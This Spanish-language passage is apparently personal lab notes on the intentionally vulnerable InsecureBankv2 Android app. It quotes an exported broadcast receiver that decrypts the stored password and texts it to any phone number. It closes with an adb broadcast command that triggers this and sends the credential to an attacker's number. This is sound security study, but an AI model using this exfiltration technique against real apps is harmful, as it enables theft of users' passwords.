Skip to content

10- Flawed Broadcast Receivers & Weak change password implementation

Los broadcast son mecanismos de mensajería

Tiene que haber un emisor : sendBroadcast(intent) y un receptor: clase que implementa onReceive(Context, Intent)

  • Sistema: Android emite constantemente (batería baja, conectividad cambia, SMS recibido, boot completado, etc.) — cualquier app puede escucharlos si declara el receiver correcto.
  • Custom de la app: una app define su propia action string y la emite para comunicarse con otras partes de sí misma, o con otras apps si el broadcast es público.

En el manifest se nos declara uno estático: funciona incluso si la app no está corriendo (el sistema la despierta)

xml
<receiver
	android:name="com.android.insecurebankv2.MyBroadCastReceiver"
	android:exported="true">
	<intent-filter>
		<action android:name="theBroadcast"/>
	</intent-filter>
</receiver>

android:exported="true"> por lo que tiene toda la pinta que cualquier app va a poder usar esa action , cualquier app va a poder lanzar ese broadcast.

En un momento dado del flujo de cambio de contraseña en ChangePassword.java se hace

java
ChangePassword.this.broadcastChangepasswordSMS(phoneNumber,ChangePassword.this.changePassword_text.getText().toString());

El método es este, se envía el teléfono y la nueva contraseña con el broadcast:

java
public void broadcastChangepasswordSMS(String phoneNumber, String pass) {
	if (TextUtils.isEmpty(phoneNumber.toString().trim())) {
		System.out.println("Phone number Invalid.");
		return;
	}
	Intent smsIntent = new Intent();
	smsIntent.setAction("theBroadcast");
	smsIntent.putExtra("phonenumber", phoneNumber);
	smsIntent.putExtra("newpass", pass);
	sendBroadcast(smsIntent);
}

Si nos vamos al onReceive() de la clase

java
@Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        String phn = intent.getStringExtra("phonenumber");
        String newpass = intent.getStringExtra("newpass");
        if (phn != null) {
            try {
                SharedPreferences settings = context.getSharedPreferences("mySharedPreferences", 1);
                String username = settings.getString("EncryptedUsername", null);
                byte[] usernameBase64Byte = Base64.decode(username, 0);
                this.usernameBase64ByteString = new String(usernameBase64Byte, "UTF-8");
                String password = settings.getString("superSecurePassword", null);
                CryptoClass crypt = new CryptoClass();
                String decryptedPassword = crypt.aesDeccryptedString(password);
                String textPhoneno = phn.toString();
                String textMessage = "Updated Password from: " + decryptedPassword + " to: " + newpass;
                SmsManager smsManager = SmsManager.getDefault();
                System.out.println("For the changepassword - phonenumber: " + textPhoneno + " password is: " + textMessage);
                smsManager.sendTextMessage(textPhoneno, null, textMessage, null, null);
                return;
            } catch (Exception e) {
                e.printStackTrace();
                return;
            }
        }
        System.out.println("Phone number is null");
    }

Lo que hace es que envía la contraseña actual guardada en mySharedPreferences al número que le digamos.

Descifra la password real y la manda por SMS al número que decida el atacante.

Pero es que además tampoco se valida que ese número sea el registrado por el usuario anteriormente (Weak change password implementation)

Para ejecutar ese broadcast (cualquier app puede)

bash
adb shell am broadcast \
  -a theBroadcast \
  --es phonenumber "+34600000000 [NÚMERO DEL ATACANTE]" \
  --es newpass "cualquier_valor"

Además también podemos hacer sniffing (escuchar los broadcast de los emisores)

Notas personales de seguridad ofensiva.